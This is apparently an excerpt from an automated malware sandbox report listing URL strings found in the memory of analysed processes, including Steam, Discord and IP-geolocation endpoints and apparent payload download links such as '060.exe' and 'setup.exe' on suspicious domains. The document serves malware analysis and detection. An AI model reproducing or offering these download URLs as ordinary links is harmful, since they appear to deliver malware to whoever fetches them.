Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.0000000001621000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.0000000001621000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=roSu
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.0000000001621000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=PyuRtGtUpR0t&l=englis
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=Wd0kCESeJquW&l=
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=X93cgZRtuH6z&l=engli
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=gzzYk5pkHqW6&amp
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=2VoZa2M8Wh3k&
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/toolt
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.000000000180F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.000000000180F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=149.18.24.96
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.000000000180F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=149.18.24.96D
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.0000000001796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com:443/demo/home.php?s=149.18.24.96
Source: MSBuild.exe, 00000021.00000002.2873629498.0000000003015000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/users/
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dod.fastbutters.com/style/060.exe
Source: tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dod.fastbutters.com/style/060.exeK
Source: tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dod.fastbutters.com/style/060.exeQ
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dod.fastbutters.com/style/060.exehp
Source: tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dod.fastbutters.com:80/style/060.exe
Source: tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002AE6000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182347849.0000000002AED000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002AE9000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224152621.0000000002AE6000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197227830.0000000002AED000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231063650.0000000002AE9000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2190690939.0000000002AED000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dod.fastbutters.com:80/style/060.exe/S
Source: tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002AE6000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182347849.0000000002AED000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002AE9000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224152621.0000000002AE6000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197227830.0000000002AED000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231063650.0000000002AE9000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2190690939.0000000002AED000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dod.fastbutters.com:80/style/060.exe0S
Source: tZvjMg3Hw9.exe, 00000000.00000003.2182347849.0000000002AED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dod.fastbutters.com:80/style/060.exeindows
Source: tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dod.fastbutters.com:80/style/060.exewqw
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3337993005.00000000018FE000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3293078281.00000000018EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3337993005.00000000018FE000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3293078281.00000000018EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3337993005.00000000018FE000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3293078281.00000000018EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://f.123654987.xyz/
Source: tZvjMg3Hw9.exe, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2210239115.0000000002B2B000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B14000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2203409356.00000000041CE000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://f.123654987.xyz/525403/setup.exe
Source: tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B14000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://f.123654987.xyz/525403/setup.exe#
Source: tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://f.123654987.xyz/525403/setup.exes
Source: tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://f.123654987.xyz/;
Source: tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://f.123654987.xyz/O
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.3068074631.000000000139A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.3068074631.000000000139A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/A
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.3068074631.000000000139A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/M
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.0000000001803000.00000004.00000020.00020000.00000000.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/Mozilla/5.0
Source: lrPP7Py6j59vWWqs5P8cBSO1.exe, 00000007.00000002.3395350920.0000000000515000.00000002.00000001.01000000.00000007.sdmp, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000002.3395015295.0000000000515000.00000002.00000001.01000000.0000000A.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000002.3395848430.0000000000516000.00000002.00000001.01000000.0000000F.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3395244504.0000000000B11000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3398241309.0000000000CFF000.00000002.00000001.01000000.00000013.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.2920616279.0000000000B60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/namehttps://ipgeolocation.io/:
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.3068074631.000000000139A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/sf
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.0000000001803000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.00000000017B9000.00000004.00000020.00020000.00000000.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.3068074631.000000000139A000.00000004.00000020.00020000.00000000.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.000000000137A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/149.18.24.96
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.3068074631.000000000139A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/149.18.24.96Z
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.3068074631.000000000139A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/149.18.24.96z
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/149.18.24.96
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.0000000001796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/149.18.24.96HITECTURE=x86PROCESSOR_ARCHITEW6432=AMD64PROCESSOR_IDE
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com/
Source: tZvjMg3Hw9.exe, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B14000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com/525403/setup.exe
Source: tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com/525403/setup.exeet/der
Source: tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com/525403/setup.exexeO
